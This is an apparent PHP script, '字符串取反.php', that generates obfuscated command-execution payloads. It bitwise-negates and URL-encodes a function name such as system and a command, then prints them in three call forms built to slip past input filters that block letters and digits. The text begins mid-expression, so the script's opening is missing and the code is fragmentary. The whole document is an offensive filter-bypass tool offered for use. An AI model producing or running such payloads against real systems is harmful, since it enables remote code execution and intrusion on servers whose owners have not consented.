字符串取反.php

 0) {
            echo '[*] $_=~' . urlencode(~$system) . ';$_(~' . urlencode(~$command) . ');';
        } else {
            echo '[*] $_=~' . urlencode(~$system) . ';$_();';
        }
    } elseif ($chooseVersion == 2) {
        if (strlen($command) > 0) {
            echo '[*] (~' . urlencode(~$system) . ')(~' . urlencode(~$command) . ');';
        } else {
            echo '[*] (~' . urlencode(~$system) . ')();';
        }
    } elseif ($chooseVersion == 3) {
        if (strlen($command) > 0) {
            echo '[*] (~"' . urlencode(~$system) . '")(~"' . urlencode(~$command) . '");';
        } else {
            echo '[*] (~"' . urlencode(~$system) . '")();';
        }
    } else {
        exit("An option that is not allowed");
    }
    echo "\n\n";
}